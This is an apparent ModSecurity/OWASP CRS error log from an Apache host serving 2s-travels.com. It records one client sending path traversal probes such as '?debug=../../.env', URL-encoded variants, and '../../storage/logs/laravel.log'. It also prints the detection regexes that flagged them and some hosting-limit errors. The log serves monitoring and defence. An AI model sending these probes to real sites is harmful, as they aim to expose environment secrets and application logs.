[Fri Jul 17 08:55:07.557496 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../.env&ref=VpCxqQsva8-7gGehKTfNLEr70HztD1uzXNKkw4ZgiwIlv8D1vEXiY3_pYFOuGR1NH5RwHb30GWBx2z9x64wDZFtxTd9unHOjRWb8xyoGAaY9EX8yq0g484HPcchcb_eI21ALUlP_HPKB7HRTAmrVCPIg-eEoBTsXEr7XNtgW0U2dY_xJe1UzjuyVSDO2Rp3MVXtOlMyjaQGhBn2DeHHoM_5dGmmyKdiQac2KOde4qzRixRqetvF4LLbj9uDcmgsoGlAEJiVT0t956twbROiJCLEW&cb=J3ALBEQEZG7DX6MW4RVEG4NM7YUCC2PTKYEVRUKFPSZOMFEFGIZUSQE7GTW3OWYCUXHBXMYHVVAUI64UQFDU6LD7NCDRLXILB3Q7V5MTM4WS2KOKXCXH4ECTKXT5SMH3MVZCUZDWNII3NOP5GUNLL6R7SPLC5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.557530 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../.env&ref=vpcxqqsva8-7ggehktfnler70hztd1uzxnkkw4zgiwilv8d1vexiy3_pyfougr1nh5rwhb30gwbx2z9x64wdzftxtd9unhojrwb8xyogaay9ex8yq0g484hpcchcb_ei21alulp_hpkb7hrtamrvcpig-eeobtsxer7xntgw0u2dy_xje1uzjuyvsdo2rp3mvxtolmyjaqghbn2dehhom_5dgmmykdiqac2kode4qzrixrqetvf4llbj9udcmgsoglaejivt0t956twbroijclew&cb=j3albeqezg7dx6mw4rveg4nm7yucc2ptkyevrukfpszomfefgizusqe7gtw3owycuxhbxmyhvvaui64uqfdu6ld7ncdrlxilb3q7v5mtm4ws2kokxcxh4ectkxt5smh3mvzcuzdwnii3nop5gunll6r7splc5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.557553 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.557571 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.557640 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.557754 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.558030 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.558709 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.558826 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.559145 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.563340 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2F..%2F..%2F..%2F.env&token=ZYUwnPlYBbHfTG_AA5zdxtgPng4mtzGu4xRsBLdiro0Y1n_abiUoplr2CbTQm9yZ0PNiMFJkV00sThd1hMny8wm4mfmyzCw_eRoC-emMrvC27cVsQztvMJ4lFXjp2S0kVSe_rXamwWOz0hpLN-SWjV5lnsJ7-thxFNhYfs4i01XbFRbRppgQdduSSvnDL-lxIlktxF-1XK4jxW5nb3ZY2Lyyd5AbeAMMP3GjOCEwOPKWLcflbg7wdL19VFWjwk557cDDFnHO7Otsxug_zmfn3oFc&debug=D2EW3K3N5PLCOEE6GWNGKICDGQJWQ7PBCTF2DT4IVNCAOQVLKR6HCLRSBLLA7PVSULEZA262GACDZBYX4FLM6HUHYMZZYYO6O5YXKIEJU7V37BKGEQDE4ZUAU27FD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.563387 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.563445 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../../../.env&token=ZYUwnPlYBbHfTG_AA5zdxtgPng4mtzGu4xRsBLdiro0Y1n_abiUoplr2CbTQm9yZ0PNiMFJkV00sThd1hMny8wm4mfmyzCw_eRoC-emMrvC27cVsQztvMJ4lFXjp2S0kVSe_rXamwWOz0hpLN-SWjV5lnsJ7-thxFNhYfs4i01XbFRbRppgQdduSSvnDL-lxIlktxF-1XK4jxW5nb3ZY2Lyyd5AbeAMMP3GjOCEwOPKWLcflbg7wdL19VFWjwk557cDDFnHO7Otsxug_zmfn3oFc&debug=D2EW3K3N5PLCOEE6GWNGKICDGQJWQ7PBCTF2DT4IVNCAOQVLKR6HCLRSBLLA7PVSULEZA262GACDZBYX4FLM6HUHYMZZYYO6O5YXKIEJU7V37BKGEQDE4ZUAU27FDXH7Z5JT7YTIZGVDT2C..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.563473 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../../../.env&token=zyuwnplybbhftg_aa5zdxtgpng4mtzgu4xrsbldiro0y1n_abiuoplr2cbtqm9yz0pnimfjkv00sthd1hmny8wm4mfmyzcw_eroc-emmrvc27cvsqztvmj4lfxjp2s0kvse_rxamwwoz0hpln-swjv5lnsj7-thxfnhyfs4i01xbfrbrppgqddussvndl-lxilktxf-1xk4jxw5nb3zy2lyyd5abeammp3gjocewopkwlcflbg7wdl19vfwjwk557cddfnho7otsxug_zmfn3ofc&debug=d2ew3k3n5plcoee6gwngkicdgqjwq7pbctf2dt4ivncaoqvlkr6hclrsblla7pvsuleza262gacdzbyx4flm6huhymzzyyo6o5yxkieju7v37bkgeqde4zuau27fdxh7z5jt7ytizgvdt2c..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.563495 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.563515 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.564767 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.564938 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.565290 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6fQAAABE"]
[Fri Jul 17 08:55:07.569111 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ts=qXXxCZHREhT2YqAI0zjqu-Y1HxaEaBBWQUEiz5wT10o2F3Je2KpT2COrcmVMNCJ1Z9Ia4w1oSBQOmBgDOLv0Z-kcM6VawIhC7CY84w_260iwotnbk5CHdiqxznduQMaWYwl12Z37TQiB-sA_yXu5gOSpjhmb5z7tzk7uw0f0AoIvcu_VzZNzuWy0hty8rn0YRnl63xhHxZGDRDhjpnTrL8q8TmADsR2pFQeaPkjs0TpeaOqwal7HYfxSNe0g1PDoQtAY3nQS8PKfAhdmt9Bw91pU&sid=LG2HMA6QMLQ4GTFHEQBHKHHCPAF6RJ6SGZJ3P7MQ54BEAU6I5UTUZZNGBGGBYYACO5S5UHBL5CHKPMX5NW33LJMO7ACZ763FCUHDXFIGUQ36FAQ3RFB5MCEG7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.569168 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.569215 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../storage/logs/laravel.log&ts=qXXxCZHREhT2YqAI0zjqu-Y1HxaEaBBWQUEiz5wT10o2F3Je2KpT2COrcmVMNCJ1Z9Ia4w1oSBQOmBgDOLv0Z-kcM6VawIhC7CY84w_260iwotnbk5CHdiqxznduQMaWYwl12Z37TQiB-sA_yXu5gOSpjhmb5z7tzk7uw0f0AoIvcu_VzZNzuWy0hty8rn0YRnl63xhHxZGDRDhjpnTrL8q8TmADsR2pFQeaPkjs0TpeaOqwal7HYfxSNe0g1PDoQtAY3nQS8PKfAhdmt9Bw91pU&sid=LG2HMA6QMLQ4GTFHEQBHKHHCPAF6RJ6SGZJ3P7MQ54BEAU6I5UTUZZNGBGGBYYACO5S5UHBL5CHKPMX5NW33LJMO7ACZ763FCUHDXFIGUQ36FAQ3RFB5MCEG7CXGWF2RMG5S3ITZG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.569253 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../storage/logs/laravel.log&ts=qxxxczhreht2yqai0zjqu-y1hxaeabbwqueiz5wt10o2f3je2kpt2corcmvmncj1z9ia4w1osbqombgdolv0z-kcm6vawihc7cy84w_260iwotnbk5chdiqxznduqmawywl12z37tqib-sa_yxu5gospjhmb5z7tzk7uw0f0aoivcu_vzznzuwy0hty8rn0yrnl63xhhxzgdrdhjpntrl8q8tmadsr2pfqeapkjs0tpeaoqwal7hyfxsne0g1pdoqtay3nqs8pkfahdmt9bw91pu&sid=lg2hma6qmlq4gtfheqbhkhhcpaf6rj6sgzj3p7mq54beau6i5utuzzngbggbyyaco5s5uhbl5chkpmx5nw33ljmo7acz763fcuhdxfiguq36faq3rfb5mceg7cxgwf2rmg5s3itzg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.569272 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.569290 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.570498 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.570665 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.570984 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlKgAAAA0"]
[Fri Jul 17 08:55:07.573822 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rgAAAAw"]
